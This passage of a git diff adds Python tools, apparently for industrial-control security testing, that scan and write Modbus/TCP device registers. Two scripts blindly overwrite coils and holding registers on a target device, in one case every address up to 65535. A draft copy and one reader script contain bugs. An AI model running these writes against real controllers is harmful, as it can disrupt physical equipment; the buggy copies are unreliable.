+ + ## function for checking for seemingly correct IP address input + # + def ip_address(self,address): + valid = address.split('.') + if len(valid) != 4: + raise ValueError + for element in valid: + if not element.isdigit(): + raise ValueError + break + i = int(element) + if i < 0 or i > 255: + raise ValueError + return + + ## function for selecting configuration export file + # + def selectExportFile(self): + data.inifilename = filedialog.asksaveasfilename(initialfile = data.inifilename, + title = 'Choose Configuration File', + defaultextension='.ini', + filetypes=[('Configuration file','*.ini'), ('All files','*.*')]) + + ## update displayed filename in entry field + self.input_inifilename.delete(0,END) + self.input_inifilename.insert(0,data.inifilename) + + inout.writeExportFile() + + ## function for choosing logger data file + # + def selectLoggerDataFile(self): + data.logfilename = filedialog.asksaveasfilename(initialfile = data.logfilename, title = 'Choose File for Logger Data', defaultextension='.csv',filetypes=[('CSV file','*.csv'), ('All files','*.*')]) + self.input_logfilename.delete(0,END) + self.input_logfilename.insert(0,data.logfilename) + + ## function for updating the current received data on display + # + def updateLoggerDisplay(self): + thisdata = '' ## make variable data known + ## delete old data + for displayed in self.targetdataframe.winfo_children(): + displayed.destroy() + ## display new data + Label(self.targetdataframe,text='Value').grid(row=0,column=0) + for thisdata in data.datavector: + ## send data to display table + Label(self.targetdataframe,text=thisdata,bg='white').grid(column=0,sticky='e') + + ## function for setting program preferences (if needed) + # + def dataSettings(self): + print('dataSettings') + + ## function for updating the configuration file + # with the path entered into the text field + # + def getInputFile(self,event): + data.inifilename = event.widget.get() + + ## function for updating the log file path + # with the path entered into the entry field + # + def setLogFile(self,event): + data.logfilename = event.widget.get() + + ## function adds dataset to the datasets list + # also updates the displayed list + # new datasets are not added to the config file + # + def addNewDataset(self): + inout.addDataset([self.input_modaddress.get(), + self.input_moddatatype.get(), + self.input_dataformat.get(), + self.input_description.get(), + self.input_dataunit.get()]) + self.displayDatasets() + #print(data.datasets) + + ## function for displaying the about dialog + # + def aboutDialog(self): + messagebox.showinfo('About Python Modbus Monitor'\ + ,'This is a program that acts as a modbus slave to receive data from modbus masters like SMA solar inverters. \nYou can choose the data to be received via the GUI and see the live data. \nYou can also call the programm from the command line with a configuration file given for the data to be retrieved. \nThe configuration file can be generated using the GUI command \"File\"→\"Export Configuration\"') + + ## function for closing the program window + # + def closeWindow(self): + exit() + +## create a data object +data = Data() + +## create an input output object +inout = Inout() + +## what to do on program exit +atexit.register(inout.cleanOnExit) + +## create main program window +## if we are in command line mode lets detect it +gui_active = 0 +if (arguments['--nogui'] == False): + ## load graphical interface library + from tkinter import * + from tkinter import messagebox + from tkinter import filedialog + try: ## if the program was called from command line without parameters + window = Tk() + ## create window container + gui = Gui(window) + gui_active = 1 + if (arguments['--inifile'] != None): + inout.checkImportFile() + gui.displaySettings() + + mainloop() + exit() ## if quitting from GUI do not proceed further down to command line handling + except TclError: + ## check if one of the required command line parameters is set + if ((arguments['--inifile'] == None) and (arguments['--ip'] == None)): + print('Error. No graphical interface found. Try "python pymodmon.py -h" for help.') + exit() + ## else continue with command line execution + +######## this section handles all command line logic ########################## + +## read the configuration file +if (arguments['--inifile'] != None): + inout.checkImportFile() + +## get log file name and try to access it +if (arguments['--logfile'] != None): + data.logfilename = str(arguments['--logfile']) + inout.writeLoggerDataFile() ## initial write to file, tests for file + +## get log interval value and check for valid value +if (arguments['--loginterval'] != None): + try: + check_loginterval = int(arguments['--loginterval']) + if check_loginterval < 1: + raise ValueError + except ValueError: + print('Log interval error. The interval must be 1 or more.') + exit() + data.loginterval = int(arguments['--loginterval']) + +## get log buffer size and check for valid value +if (arguments['--logbuffer'] != None): + try: + check_logbuffer = int(arguments['--logbuffer']) + if check_logbuffer < 1: + raise ValueError + except ValueError: + print('Log buffer error. The log buffer must be 1 or more.') + exit() + data.logmaxbuffer = int(arguments['--logbuffer']) + +## get all values for single-value reads +## all obligatory entries. missing entries will be caught by docopt. +# only simple checks will be done, because if there are errors, communication will fail. +if (arguments['--ip'] != None): ## just a check for flow logic, skipped when working with inifile + data.ipaddress = str(arguments['--ip']) + data.modbusid = int(arguments['--id']) + data.port = int(arguments['--port']) + ## because called from command line data.datasets has only one entry + # we can just append and use same mechanics as in "normal" mode + data.datasets.append( [int(arguments['--addr']), + str(arguments['--type']), + str(arguments['--format']), + str(arguments['--descr']), + str(arguments['--unit']) ] ) + +## start polling data +## single poll first +inout.runCommunication() +## if --single is set, exit immediately +if (arguments['--single'] == True): + inout.stopCommunication() + print('single run') + exit() diff --git a/modbus/misc/read_all_holding_registers.py b/modbus/misc/read_all_holding_registers.py new file mode 100644 index 0000000..d32247b --- /dev/null +++ b/modbus/misc/read_all_holding_registers.py @@ -0,0 +1,103 @@ +#!/usr/bin/env python + +""" +File: read_all_holding_registers.py +Desc: Read all holding registers from a TCP MODBUS Slave +Version: 0.0.2 +""" + +__author__ = 'rm' + +from pymodbus.client.sync import ModbusTcpClient +import argparse +import sys +import collections + + +class ModbusException(Exception): + _codes = { + 1: 'ILLEGAL FUNCTION', + 2: 'ILLEGAL DATA ADDRESS', + 3: 'ILLEGAL DATA VALUE', + 4: 'SLAVE DEVICE FAILURE', + 6: 'SLAVE DEVICE BUSY' + } + + def __init__(self, code): + self.code = code + self.message = ModbusException._codes[code] if ModbusException._codes.has_key(code) else 'Unknown Modbus Exception' + + def __str__(self): + return "Modbus Error. Exception %d: %s" % (self.code, self.message) + + +def status(msg): + sys.stderr.write(msg[:-1][:39].ljust(39,' ')+msg[-1:]) + +def validate_ipv4(s): + pieces = s.split('.') + if len(pieces) != 4: return False + try: return all(0<=int(p)<256 for p in pieces) + except ValueError: return False + +def scan(): + + parser = argparse.ArgumentParser(description = "Read all holding registries from a TCP MODBUS Slave") + parser.add_argument("ip", help="IP address of the slave") + parser.add_argument("-p", "--port", dest="port", help="Modbus Port. Defaults to 502", type=int, metavar="PORT", default=502) + parser.add_argument("-u", "--uid", dest="uid", help="Modbus Unit ID. Defaults to 1", type=int, metavar="UID", default=1) + parser.add_argument("-sa", "--start-address", dest="start_address", help="Starting Address for the scanner. Defaults to 1", type=int, metavar="START", default=1) + parser.add_argument("-ea", "--end-address", dest="end_address", help="Ending Address for the scanner. Defaults to 65535", type=int, metavar="END", default=65535) + + args = parser.parse_args() + + try: + ip = args.ip + except IndexError: + print "ERROR: No target to scan\n\n" + parser.print_help() + exit() + + # ip address format verification + if not validate_ipv4(ip): + print "ERROR: IP address is invalid\n\n" + parser.print_help() + exit() + + print 'Connecting to %s...' % ip, + # connect to modbus slave + client = ModbusTcpClient(ip, args.port) + client.connect() + if client.socket == None: + print "ERROR: Could not connect to %s." %ip + exit() + print ' Connected.' + + # TODO add ETA mechanism + results = {} + addr = 1 + registers_tested = args.end_address - args.start_address + 1 + if registers_tested == 1: + hr = client.read_holding_registers(args.start_address, 1, unit=args.uid) # unit value is device id of the slave (UID) + if hr.function_code == 3: # if we succeed reading stuff + results[addr] = hr.registers[0] + # if it fails, hr.function = 131 (0x83), cf modbus doc + else: + for addr in range(args.start_address, args.end_address): + hr = client.read_holding_registers(addr, 1, unit=args.uid) # unit value is device id of the slave (UID) + if hr.function_code == 3: # if we succeed reading stuff + results[addr] = hr.registers[0] + # if it fails, hr.function = 131 (0x83), cf modbus doc + + client.close() + print 'Register scanning is finished (%d registers were tried)' % (registers_tested) + # sorting dict for printing + ordered_results = collections.OrderedDict(sorted(results.items())) + for addr, value in ordered_results.iteritems(): + print 'Addr {0} \t{1}'.format(addr,value) + +if __name__=="__main__": + try: + scan() + except KeyboardInterrupt: + status("Ctrl-C happened\n") diff --git a/modbus/misc/read_register.py b/modbus/misc/read_register.py new file mode 100644 index 0000000..6486405 --- /dev/null +++ b/modbus/misc/read_register.py @@ -0,0 +1,132 @@ +#!/usr/bin/env python + +""" +File: read_register.py +Desc: Read specific registers from a TCP MODBUS Slave +Version: 0.0.1 +""" + +__author__ = 'rm' + +from pymodbus.client.sync import ModbusTcpClient +import argparse +import sys +import collections + + +class ModbusException(Exception): + _codes = { + 1: 'ILLEGAL FUNCTION', + 2: 'ILLEGAL DATA ADDRESS', + 3: 'ILLEGAL DATA VALUE', + 4: 'SLAVE DEVICE FAILURE', + 6: 'SLAVE DEVICE BUSY' + } + + def __init__(self, code): + self.code = code + self.message = ModbusException._codes[code] if ModbusException._codes.has_key(code) else 'Unknown Modbus Exception' + + def __str__(self): + return "Modbus Error. Exception %d: %s" % (self.code, self.message) + + +def status(msg): + sys.stderr.write(msg[:-1][:39].ljust(39,' ')+msg[-1:]) + +def validate_ipv4(s): + pieces = s.split('.') + if len(pieces) != 4: return False + try: return all(0<=int(p)<256 for p in pieces) + except ValueError: return False + +def validate_mbaddrtype(s): + addrtype_set = ("h", "d", "i") + return s in addrtype_set + +def read_holding(addr, client, uid): + req = client.read_holding_registers(addr, 1, unit=uid) + return req + +def read_discrete(addr, client, uid): + req = client.read_discrete_inputs(addr, 1, unit=uid) + return req + +def read_inputregister(addr, client, uid): + req = client.read_input_registers(addr, 1, unit=uid) + return req + +def scan(): + parser = argparse.ArgumentParser(description = "Read specific addresses on a TCP MODBUS Slave") + parser.add_argument("ip", help="IP address of the slave") + parser.add_argument("-p", "--port", dest="port", help="Modbus Port. Defaults to 502", type=int, metavar="PORT", default=502) + parser.add_argument("-u", "--uid", dest="uid", help="Modbus Unit ID. Defaults to 1", type=int, metavar="UID", default=1) + parser.add_argument("-sa", "--start-address", dest="start_address", help="Starting Address for the scanner. Defaults to 1", type=int, metavar="START", default=1) + parser.add_argument("-ea", "--end-address", dest="end_address", help="Ending Address for the scanner. Defaults to 65535", type=int, metavar="END", default=65535) + parser.add_argument("-t", "--type", dest="register_type", help="Type of Modbus address to read. Values can be 'h' for Holding, 'd' for Discrete Inputs or 'i' for Input Registers. Defaults to 'h'", type=str, metavar="TYPE", default="h") + + args = parser.parse_args() + + try: + ip = args.ip + except IndexError: + print "ERROR: No target to scan\n\n" + parser.print_help() + exit() + + # ip address format verification + if not validate_ipv4(ip): + print "ERROR: IP address is invalid\n\n" + parser.print_help() + exit() + + # modbus address type verification + if not validate_mbaddrtype(args.register_type): + print "ERROR: Invalid Modbus address type\n\n" + parser.print_help() + exit() + + print 'Connecting to %s...' % ip, + # connect to modbus slave + client = ModbusTcpClient(ip, args.port) + client.connect() + if client.socket == None: + print "ERROR: Could not connect to %s." %ip + exit() + print ' Connected.' + + # TODO add ETA mechanism + results = {} + addr = 1 + readfunction = { + "h": read_holding, + "d": read_discrete, + "i": read_inputregister + } + registers_tested = args.end_address - args.start_address + 1 + if registers_tested == 1: + hr = readfunction[args.register_type](args.start_address, client, args.uid) + #hr = client.read_holding_registers(args.start_address, 1, unit=args.uid) # unit value is device id of the slave (UID) + if hr.function_code == 3: # if we succeed reading stuff + results[addr] = hr.registers[0] + # if it fails, hr.function = 131 (0x83), cf modbus doc + else: + for addr in range(args.start_address, args.end_address): + hr = readfunction[args.register_type](addr, client, args.uid) + #hr = client.read_holding_registers(addr, 1, unit=args.uid) # unit value is device id of the slave (UID) + if hr.function_code == 3: # if we succeed reading stuff + results[addr] = hr.registers[0] + # if it fails, hr.function = 131 (0x83), cf modbus doc + + client.close() + print 'Register scanning is finished (%d registers were tried)' % (registers_tested) + # sorting dict for printing + ordered_results = collections.OrderedDict(sorted(results.items())) + for addr, value in ordered_results.iteritems(): + print 'Addr {0} \t{1}'.format(addr,value) + +if __name__=="__main__": + try: + scan() + except KeyboardInterrupt: + status("Ctrl-C happened\n") diff --git a/modbus/misc/register_scanner.py b/modbus/misc/register_scanner.py new file mode 100644 index 0000000..f5a0340 --- /dev/null +++ b/modbus/misc/register_scanner.py @@ -0,0 +1,156 @@ +from pyModbusTCP.client import ModbusClient +from xlwt import Workbook +import sys +import argparse +from tqdm import tqdm + +# https://github.com/nallamuthu/ModBus + +#Function to write single Holding Register +def write_single_hold_regiser(ip_addr,port,valid_list,permission_list): + write_confirm_list=[] + write_confirm_data=[] + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=10) + for i in tqdm(valid_list): + data=client.write_single_register(i,43981) # HEX(ABCD) == int(43981) + data=client.read_holding_registers(i,1) + permission_list.append("Read") + #print("Regiser: "+str(i)+" => Value: "+str(data)) + if data: + if 43981==data[0]: + write_confirm_list.append(i) + write_confirm_data.append(data[0]) + permission_list[i-1] = "Read/Write" + client.close() + return write_confirm_list,write_confirm_data,permission_list + +#Function to write single coil +def write_single_coil_regiser(ip_addr,port,coil_valid_list,coil_permission_list): + write_coil_confirm_list=[] + write_coil_confirm_data=[] + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=10) + for i in coil_valid_list: + data=client.write_single_coil(i,1) # HEX(ABCD) == int(43981) + data=client.read_coils(i,1) + coil_permission_list.append("Read") + #print("Regiser: "+str(i)+" => Value: "+str(data)) + if data: + if 1==data[0]: + write_coil_confirm_list.append(i) + write_coil_confirm_data.append(data[0]) + coil_permission_list[i-1] = "Read/Write" + client.close() + return write_coil_confirm_list,write_coil_confirm_data,coil_permission_list + +#Function to read all the registers based on the parameter received +def read_valid_registers(ip_addr,port,reg): + valid_list=[] + data_list=[] + permission_list=[] + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=10) + for i in tqdm(range(1,500)): + if reg == "hold": + data=client.read_holding_registers(i,1) + if reg == "input": + data=client.read_input_registers(i,1) + if reg == "discrete": + data=client.read_discrete_inputs(i,1) + if reg == "coil": + data=client.read_coils(i,1) + if data: + valid_list.append(i) + data_list.append(data[0]) + permission_list.append("Read") +#Write the result to Excel File + client.close() + return valid_list,data_list,permission_list + + + +def write_to_excel(wb,register,valid_list,data_list,permission_list,reg_value): + sheet=wb.add_sheet(register) + sheet.write(0,0,"Register") + sheet.write(0,1,"Permission") + sheet.write(0,2,"Data") + for i in range(len(valid_list)): + sheet.write(i+1,0,valid_list[i]) + sheet.write(i+1,1,permission_list[i]) + sheet.write(i+1,2,data_list[i]) + wb.save("Modbus_Output.xls") + return wb + +# +def print_details(valid_list,data_list,operation): + if valid_list: + print("******************************") + print(operation+" - Valid Registers: \n"+str(valid_list)) + print("******************************") + print(operation+" - Valid Registers with Non-Zero Values") + print("******************************") + for i in range(len(valid_list)): + if data_list[i]: + print("Register :"+str(valid_list[i])+" => Value: "+str(data_list[i])) + print("******************************") + else: + print("******************************") + print("No Valid Register Found") + print("******************************") + +#Parse the input parameters +my_parser = argparse.ArgumentParser(description='Pass the input IP Address') +my_parser.add_argument('-i','--ipaddress', action='store', type=str,required=True, help='Input IP Address') +my_parser.add_argument('-p','--port', action='store', type=int,required=False, help='Port Number', default=502) +args = my_parser.parse_args() +ip_addr=args.ipaddress +port=args.port + + +#Create workbook to save the result +wb=Workbook() +#Coils - valid and Data [Read and Write] +print("******************************") +print("Reading Coils Status - 0x01") +coil_valid_list,coil_data_list,coil_permission_list=read_valid_registers(ip_addr,port,"coil") #Function Code - 0x01 + +if coil_data_list: + print("Writing Coil Status - 0x05") + write_coil_valid_list,write_coil_data_list,coil_permission_list=write_single_coil_regiser(ip_addr,port,coil_valid_list,coil_permission_list) #Function Code - 0x05 + +else: + print("No valid Register Found to do Write Operation") +#print_details(coil_valid_list,coil_data_list,"Read") +wb=write_to_excel(wb,"Coil",coil_valid_list,coil_data_list,coil_permission_list,0) + + + +#Holding Registers - valid and Data [Read and Write] +print("******************************") +print("Reading Holding Registers - 0x03") +hold_valid_list,hold_data_list,hold_permission_list=read_valid_registers(ip_addr,port,"hold") #Function Code - 0x03 +#print_details(hold_valid_list,hold_data_list,"Read") +if hold_data_list: + print("Writing Holding Status - 0x06") + write_hold_valid_list,write_hold_data_list,hold_permission_list=write_single_hold_regiser(ip_addr,port,hold_valid_list,hold_permission_list) #Function Code - 0x06 +else: + print("No valid Register Found to do Write Operation") +wb=write_to_excel(wb,"Holding_Register",hold_valid_list,hold_data_list,hold_permission_list,40000) + + + +#Discrete Input - valid and Data [Read Only] +print("******************************") +print("Reading Discrete Input - 0x02") +discrete_valid_list,discrete_data_list,discrete_permission_list=read_valid_registers(ip_addr,port,"discrete") #Function Code - 0x02 +#print_details(discrete_valid_list,discrete_data_list,"Read") +wb=write_to_excel(wb,"Discrete",discrete_valid_list,discrete_data_list,discrete_permission_list,10000) + + + +#Read Input Registers - valid and Data [Read Only] +print("******************************") +print("Reading Input Registers - 0x04") +input_valid_list,input_data_list,input_permission_list=read_valid_registers(ip_addr,port,"input") +#print_details(input_valid_list,input_data_list,"Read") +wb=write_to_excel(wb,"Input_Register",input_valid_list,input_data_list,input_permission_list,30000) +print("******************************") +print("Check the output Excel File - Modbus_Output.xls") \ No newline at end of file diff --git a/modbus/misc/register_scanner.py.1 b/modbus/misc/register_scanner.py.1 new file mode 100644 index 0000000..4d03cc6 --- /dev/null +++ b/modbus/misc/register_scanner.py.1 @@ -0,0 +1,151 @@ +from pyModbusTCP.client import ModbusClient +from xlwt import Workbook +import sys +import argparse +from tqdm import tqdm + +#Function to write single Holding Register +def write_single_hold_regiser(ip_addr,port,valid_list,permission_list): + write_confirm_list=[] + write_confirm_data=[] + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=10) + for i in tqdm(valid_list): + data=client.write_single_register(i,43981) # HEX(ABCD) == int(43981) + data=client.read_holding_registers(i,1) + #print("Regiser: "+str(i)+" => Value: "+str(data)) + if data[0]: + if 43981==data[0]: + write_confirm_list.append(i) + write_confirm_data.append(data[0]) + permission_list[i-1]="Read/Write" + client.close() + return write_confirm_list,write_confirm_data,permission_list + +#Function to write single coil +def write_single_coil_regiser(ip_addr,port,coil_valid_list): + write_coil_confirm_list=[] + write_coil_confirm_data=[] + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=10) + for i in hold_valid_list: + data=client.write_single_register(i,43981) # HEX(ABCD) == int(43981) + data=client.read_holding_registers(i,1) + #print("Regiser: "+str(i)+" => Value: "+str(data)) + if data[0]: + if 43981==data[0]: + write_coil_confirm_list.append(i) + write_coil_confirm_data.append(data[0]) + client.close() + return write_coil_confirm_list,write_coil_confirm_data + +#Function to read all the registers based on the parameter received +def read_valid_registers(ip_addr,port,reg): + valid_list=[] + data_list=[] + permission_list=[] + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=10) + for i in tqdm(range(1,500)): + if reg == "hold": + data=client.read_holding_registers(i,1) + if reg == "input": + data=client.read_input_registers(i,1) + if reg == "discrete": + data=client.read_discrete_inputs(i,1) + if reg == "coil": + data=client.read_coils(i,1) + if data: + valid_list.append(i) + data_list.append(data[0]) + permission_list.append("Read") + client.close() + return valid_list,data_list,permission_list + + + +#Write the result to Excel File +def write_to_excel(wb,register,valid_list,data_list,permission_list,reg_value): + sheet=wb.add_sheet(register) + sheet.write(0,0,"Register") + sheet.write(0,1,"Permission") + sheet.write(0,2,"Data") + for i in range(len(valid_list)): + sheet.write(i+1,0,valid_list[i]+reg_value) + sheet.write(i+1,1,permission_list[i]) + sheet.write(i+1,2,data_list[i]) + wb.save("Modbus_Output.xls") + return wb + +# +def print_details(valid_list,data_list,operation): + if valid_list: + print("******************************") + print(operation+" - Valid Registers: \n"+str(valid_list)) + print("******************************") + print(operation+" - Valid Registers with Non-Zero Values") + print("******************************") + for i in range(len(valid_list)): + if data_list[i]: + print("Register :"+str(valid_list[i])+" => Value: "+str(data_list[i])) + print("******************************") + else: + print("******************************") + print("No Valid Register Found") + print("******************************") + +#Parse the input parameters +my_parser = argparse.ArgumentParser(description='Pass the input IP Address') +my_parser.add_argument('-i','--ipaddress', action='store', type=str,required=True, help='Input IP Address') +my_parser.add_argument('-p','--port', action='store', type=int,required=True, help='Port Number') +args = my_parser.parse_args() +ip_addr=args.ipaddress +port=args.port + + +#Create workbook to save the result +wb=Workbook() +#Coils - valid and Data [Read and Write] +print("******************************") +print("Reading Coils Status - 0x01") +coil_valid_list,coil_data_list,coil_permission_list=read_valid_registers(ip_addr,port,"coil") #Function Code - 0x01 + +if coil_data_list: + print("Writing Coil Status - 0x05") + write_coil_valid_list,write_coil_data_list,coil_permission_list=write_single_coil_regiser(ip_addr,port,coil_valid_list) #Function Code - 0x05 + +else: + print("No valid Register Found to do Write Operation") +#print_details(coil_valid_list,coil_data_list,"Read") +wb=write_to_excel(wb,"Coil",coil_valid_list,coil_data_list,coil_permission_list,0) + + + +#Holding Registers - valid and Data [Read and Write] +print("******************************") +print("Reading Holding Registers - 0x03") +hold_valid_list,hold_data_list,hold_permission_list=read_valid_registers(ip_addr,port,"hold") #Function Code - 0x03 +#print_details(hold_valid_list,hold_data_list,"Read") +if hold_data_list: + print("Writing Holding Status - 0x06") + write_hold_valid_list,write_hold_data_list,hold_permission_list=write_single_hold_regiser(ip_addr,port,hold_valid_list,hold_permission_list) #Function Code - 0x06 +else: + print("No valid Register Found to do Write Operation") +wb=write_to_excel(wb,"Holding_Register",hold_valid_list,hold_data_list,hold_permission_list,40000) + + + +#Discrete Input - valid and Data [Read Only] +print("******************************") +print("Reading Discrete Input - 0x02") +discrete_valid_list,discrete_data_list,discrete_permission_list=read_valid_registers(ip_addr,port,"discrete") #Function Code - 0x02 +#print_details(discrete_valid_list,discrete_data_list,"Read") +wb=write_to_excel(wb,"Discrete",discrete_valid_list,discrete_data_list,discrete_permission_list,10000) + + + +#Read Input Registers - valid and Data [Read Only] +print("******************************") +print("Reading Input Registers - 0x04") +input_valid_list,input_data_list,input_permission_list=read_valid_registers(ip_addr,port,"input") +#print_details(input_valid_list,input_data_list,"Read") +wb=write_to_excel(wb,"Input_Register",input_valid_list,input_data_list,input_permission_list,30000) +print("******************************") +print("Check the output Excel File - Modbus_Output.xls") \ No newline at end of file diff --git a/modbus/misc/write_all_holding_registers.py b/modbus/misc/write_all_holding_registers.py new file mode 100644 index 0000000..ae6fa15 --- /dev/null +++ b/modbus/misc/write_all_holding_registers.py @@ -0,0 +1,94 @@ +#!/usr/bin/env python + +""" +File: write_all_holding_registers.py +Desc: Write all holding registers on a TCP MODBUS Slave +Version: 0.0.1 +""" + +__author__ = 'rm' + +from pymodbus.client.sync import ModbusTcpClient +import argparse +import sys + + +class ModbusException(Exception): + _codes = { + 1: 'ILLEGAL FUNCTION', + 2: 'ILLEGAL DATA ADDRESS', + 3: 'ILLEGAL DATA VALUE', + 4: 'SLAVE DEVICE FAILURE', + 6: 'SLAVE DEVICE BUSY' + } + + def __init__(self, code): + self.code = code + self.message = ModbusException._codes[code] if ModbusException._codes.has_key(code) else 'Unknown Modbus Exception' + + def __str__(self): + return "Modbus Error. Exception %d: %s" % (self.code, self.message) + + +def status(msg): + sys.stderr.write(msg[:-1][:39].ljust(39,' ')+msg[-1:]) + +def validate_ipv4(s): + pieces = s.split('.') + if len(pieces) != 4: return False + try: return all(0<=int(p)<256 for p in pieces) + except ValueError: return False + +def scan(): + + parser = argparse.ArgumentParser(description = "Write all holding registries on a TCP MODBUS Slave") + parser.add_argument("ip", help="IP address of the slave") + parser.add_argument("-p", "--port", dest="port", help="Modbus Port. Defaults to 502", type=int, metavar="PORT", default=502) + parser.add_argument("-u", "--uid", dest="uid", help="Modbus Unit ID. Defaults to 1", type=int, metavar="UID", default=1) + parser.add_argument("-sa", "--start-address", dest="start_address", help="Starting Address for the writer. Defaults to 1", type=int, metavar="START", default=1) + parser.add_argument("-ea", "--end-address", dest="end_address", help="Ending Address for the writer. Defaults to 65535", type=int, metavar="END", default=65535) + parser.add_argument("-v", "--value", dest="value", help="Value that will be written. Defaults to 7777", type=int, metavar="VALUE", default=7777) + + args = parser.parse_args() + + try: + ip = args.ip + except IndexError: + print "ERROR: No target given\n\n" + parser.print_help() + exit() + + # ip address format verification + if not validate_ipv4(ip): + print "ERROR: IP address is invalid\n\n" + parser.print_help() + exit() + + print 'Connecting to %s...' % ip, + # connect to modbus slave + client = ModbusTcpClient(ip, args.port) + client.connect() + if client.socket == None: + print "ERROR: Could not connect to %s." %ip + exit() + print ' Connected.' + + # TODO add ETA mechanism + results = [] + addr = 1 + for addr in range(args.start_address, args.end_address): + hr = client.write_registers(addr, args.value, unit=args.uid) # unit value is device id of the slave (UID) + if hr.function_code == 16: # if we succeeded writing stuff. code = 0x10 + results.append(addr) + # if it fails, hr.function = 144 (0x90), cf modbus doc + + client.close() + print 'Register writing is finished (%d addresses were tried)' % (args.end_address-args.start_address+1) + print 'Writing was successful on these %d addresses:' % len(results) + print results + +if __name__=="__main__": + try: + scan() + except KeyboardInterrupt: + status("Ctrl-C happened\n") diff --git a/modbus/monitor_muiltiple.py b/modbus/monitor_muiltiple.py new file mode 100644 index 0000000..5b8b46f --- /dev/null +++ b/modbus/monitor_muiltiple.py @@ -0,0 +1,192 @@ +#!/usr/bin/env python + +""" +File: monitor_multiple.py +Desc: Read all registers from a TCP MODBUS Slave +""" +__author__ = '0xRoM' + +from argparse import ArgumentParser, ArgumentTypeError, Action +from pyModbusTCP.client import ModbusClient +import time +import sys +import re + +class style(): + BLACK = '\033[30m' + RED = '\033[31m' + GREEN = '\033[32m' + YELLOW = '\033[33m' + BLUE = '\033[34m' + MAGENTA = '\033[35m' + CYAN = '\033[36m' + WHITE = '\033[37m' + BOLD = '\33[1m' + UNDERLINE = '\033[4m' + RESET = '\033[0m' + +class InflateRange(Action): + def __call__(self, parser, namespace, values, option_string=None): + #print('%r %r %r' % (namespace, values, option_string)) + lst = [] + for string in values: + #print 'in string:',string + if '-' in string: + m = re.match(r'(\d+)(?:-(\d+))?$', string) + # ^ (or use .split('-'). anyway you like.) + if not m: + raise ArgumentTypeError("'" + string + "' is not a range of number. Expected forms like '0-5' or '2'.") + start = m.group(1) + end = m.group(2) or start + lst.extend(list(range(int(start,10), int(end,10)+1))) + else: + lst.append(int(string)) + setattr(namespace, self.dest, lst) + +parser = ArgumentParser() +parser.add_argument('-co', '--coil', action=InflateRange, nargs='*', required=False, help='list of addresses') +parser.add_argument('-ho', '--hold', action=InflateRange, nargs='*', required=False, help='list of addresses') +parser.add_argument('-di', '--discrete', action=InflateRange, nargs='*', required=False, help='list of addresses') +parser.add_argument('-in', '--input', action=InflateRange, nargs='*', required=False, help='list of addresses') +parser.add_argument('-i','--ipaddress', action='store', type=str, required=True, help='Input IP Address') +parser.add_argument('-p','--port', action='store', type=int, required=False, help='Port Number', default=502) +parser.add_argument('-t','--timeout', action='store', type=float, required=False, help='request every X seconds', default=2) + +args = parser.parse_args() +print("### watch list ###") + +total = 0 +if args.coil: + print(style.BOLD+"coils: "+style.RESET+"("+str(len(args.coil))+")"+str(args.coil)) + total += len(args.coil) +if args.hold: + print(style.BOLD+"hold reg: "+style.RESET+"("+str(len(args.hold))+")"+str(args.hold)) + total += len(args.hold) +if args.discrete: + print(style.BOLD+"discrete: "+style.RESET+"("+str(len(args.discrete))+")"+str(args.discrete)) + total += len(args.discrete) +if args.input: + print(style.BOLD+"input reg: "+style.RESET+"("+str(len(args.input))+")"+str(args.input)) + total += len(args.input) +print(style.BOLD+"Total = "+str(total)+style.RESET) +print("------------------") + +co_orig={} +ho_orig={} +di_orig={} +in_orig={} +co_mod={} +ho_mod={} +di_mod={} +in_mod={} +co_prev={} +ho_prev={} +di_prev={} +in_prev={} +client=ModbusClient(host=args.ipaddress,port=args.port,auto_open=True,auto_close=True,timeout=args.timeout) + +if args.coil: + for i in args.coil: + co_orig[i]=client.read_coils(i,1) + co_mod[i] = style.RESET + co_prev[i] = co_orig[i] +if args.hold: + for i in args.hold: + ho_orig[i]=client.read_holding_registers(i,1) + if ho_orig[i] == None: + ho_orig[i] = " " + ho_mod[i] = style.RESET + ho_prev[i] = ho_orig[i] +if args.discrete: + for i in args.discrete: + di_orig[i]=client.read_discrete_inputs(i,1) + di_mod[i] = style.RESET + di_prev[i] = di_orig[i] +if args.input: + for i in args.input: + in_orig[i]=client.read_input_registers(i,1) + if in_orig[i] == None: + in_orig[i] = " " + in_mod[i] = style.RESET + in_prev[i] = in_orig[i] + +while True: + co_new={} + ho_new={} + di_new={} + in_new={} + if args.coil: + for i in args.coil: + co_new[i]=client.read_coils(i,1) + if co_new[i] == None: + co_new[i] = "0" + co_mod[i] = style.CYAN + else: + if co_new[i][0] == 1 and co_prev[i][0] == 0: + co_mod[i] = style.GREEN + if co_new[i][0] == 0 and co_prev[i][0] == 1: + co_mod[i] = style.RED + co_prev[i] = co_new[i] + + if args.hold: + for i in args.hold: + ho_new[i]=client.read_holding_registers(i,1) + if ho_new[i] == None: + ho_new[i] = " " + else: + if ho_new[i] > ho_prev[i]: + ho_mod[i] = style.GREEN + if ho_new[i] < ho_prev[i]: + ho_mod[i] = style.RED + ho_prev[i] = ho_new[i] + + if args.discrete: + for i in args.discrete: + di_new[i]=client.read_discrete_inputs(i,1) + if di_new[i] == None: + di_new[i] = "0" + di_mod[i] = style.CYAN + else: + if di_new[i][0] == 1 and di_prev[i][0] == 0: + di_mod[i] = style.GREEN + if di_new[i][0] == 0 and di_prev[i][0] == 1: + di_mod[i] = style.RED + di_prev[i] = di_new[i] + + if args.input: + for i in args.input: + in_new[i]=client.read_input_registers(i,1) + if in_new[i] == None: + in_new[i] = " " + else: + if in_new[i] > in_prev[i]: + in_mod[i] = style.GREEN + if in_new[i] < in_prev[i]: + in_mod[i] = style.RED + in_prev[i] = in_new[i] + + sys.stdout.flush() + output = '\r' + if args.coil: + output += '['+style.BOLD+'coils:'+style.RESET + for i in co_new: + output += style.RESET+'['+str(co_mod[i])+str(int(co_new[i][0]))+style.RESET+']' + output += ']' + if args.hold: + output += '['+style.BOLD+'hold regs:'+style.RESET + for i in ho_new: + output += style.RESET+'['+str(ho_mod[i])+str(ho_new[i][0]).rjust(5, ' ')+style.RESET+']' + output += ']' + if args.discrete: + output += '['+style.BOLD+'discrete:'+style.RESET + for i in di_new: + output += style.RESET+'['+str(di_mod[i])+str(int(di_new[i][0]))+style.RESET+']' + 